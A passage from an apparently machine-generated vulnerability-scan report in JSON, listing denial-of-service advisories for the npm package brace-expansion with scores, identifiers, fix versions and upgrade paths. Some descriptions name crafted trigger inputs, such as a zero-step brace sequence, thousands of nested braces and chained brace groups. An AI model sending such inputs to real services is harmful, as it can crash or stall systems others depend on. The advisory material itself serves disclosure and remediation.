"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
